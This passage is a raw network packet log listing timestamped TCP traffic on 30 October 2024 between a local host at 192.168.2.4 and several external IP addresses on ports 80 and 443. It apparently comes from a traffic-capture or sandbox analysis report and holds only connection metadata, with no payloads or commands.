Oct 30, 2024 12:36:51.957453966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957468987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957480907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957490921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957494974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957501888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957511902 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957520008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957531929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957540989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957545042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957545042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957552910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957564116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957566977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957576036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957587004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957598925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957638979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957655907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957669973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957680941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957756042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957767010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957777977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957787991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957801104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957811117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957812071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957820892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957825899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957837105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957844019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957853079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957865000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957875967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957876921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957876921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957892895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957904100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957914114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957916975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957925081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957935095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957937956 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957947016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957973003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958041906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958045006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958053112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958064079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958076000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958086967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958090067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958098888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958110094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958113909 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958121061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958134890 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958138943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958148956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958159924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958170891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958173990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958173990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958187103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958199978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958209991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958210945 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958221912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958233118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958234072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958244085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958252907 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958257914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958268881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958278894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958283901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958283901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958290100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958307028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958318949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958328009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958331108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958343983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958343983 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958354950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958363056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958367109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958374023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958385944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958386898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958395958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958406925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958408117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958420992 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958445072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958456039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958466053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958468914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958489895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958512068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958519936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958523035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958533049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958544970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958569050 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958626032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958661079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958714008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958724976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958779097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958791018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958801985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958815098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958827019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958838940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958839893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958848953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958875895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958887100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958905935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958905935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958935976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958935976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.958952904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958972931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958983898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.958985090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959013939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959013939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959027052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959038019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959048033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959062099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959074974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959136009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959146976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959157944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959156990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959156990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959171057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959182024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959183931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959213972 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.959264994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.959379911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:53.301078081 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:53.301126003 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:53.301187992 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:53.302865028 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:53.302884102 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:53.931973934 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:53.932106972 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:53.933592081 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:53.933625937 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:53.933969021 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:53.985479116 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.065315962 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.065342903 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.065412045 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.268096924 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:54.268367052 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:54.273751020 CET	80	49749	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:54.273821115 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:54.273865938 CET	80	49746	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:54.273921967 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:54.274156094 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:54.279403925 CET	80	49749	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:54.515223980 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.515482903 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.515547991 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.515712976 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.515755892 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.515784979 CET	49748	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.515803099 CET	443	49748	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.568629026 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.568660975 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:54.568749905 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.569046974 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:54.569065094 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.170557022 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.170710087 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.172337055 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.172365904 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.172693014 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.173985004 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.173985004 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.174082994 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.195380926 CET	80	49749	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:55.195532084 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:55.197458029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:55.197655916 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:55.203722000 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:55.203917980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:55.204020023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:55.204302073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:55.204385996 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:55.210252047 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:55.877652884 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877732038 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877775908 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877794981 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.877813101 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877841949 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877902985 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.877907038 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877953053 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.877976894 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.877995014 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.878288984 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.878472090 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.922981024 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.992496967 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.992679119 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.992738962 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.992763996 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.992791891 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.992846012 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.992875099 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.993092060 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.993166924 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.993247986 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.993283033 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:55.993310928 CET	49750	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:55.993326902 CET	443	49750	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:56.134186983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134455919 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134490967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134510040 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134526968 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134574890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134608030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134608030 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.134638071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.134640932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134651899 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.134680986 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134685040 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.134721994 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.134731054 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.134792089 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.140239000 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.140273094 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.140288115 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.140305042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.140315056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.140346050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.287727118 CET	49752	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:56.287770033 CET	443	49752	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:56.287853003 CET	49752	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:56.288337946 CET	49752	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:56.288352013 CET	443	49752	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:56.300323009 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.300342083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.300358057 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.300405025 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.300448895 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.301534891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301548958 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301563978 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301579952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301595926 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301609039 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.301630974 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.301671982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303294897 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303311110 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303332090 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303348064 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303358078 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303363085 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303365946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303379059 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303395033 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303400040 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303426981 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303426981 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303442001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303445101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303457975 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303462029 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303473949 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.303483009 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303503036 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.303513050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.304584980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.304599047 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.304614067 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.304686069 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.307873011 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.311369896 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.460907936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.460939884 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461015940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.461087942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461102962 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461117029 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461173058 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.461173058 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.461369991 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461420059 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461435080 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461489916 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.461491108 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.461844921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461975098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.461990118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462004900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462019920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462044001 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.462044001 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.462060928 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.462676048 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462692022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462707043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462734938 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.462760925 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462775946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.462779045 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.462836027 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.463510036 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.463567972 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.463583946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.463613987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.463634014 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.463769913 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.463785887 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.463823080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.463823080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.464452982 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.464468002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.464483023 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.464534998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.464534998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.464584112 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.464600086 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.464642048 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.465291977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.465306997 CET	80	49751	185.215.113.16	192.168.2.4
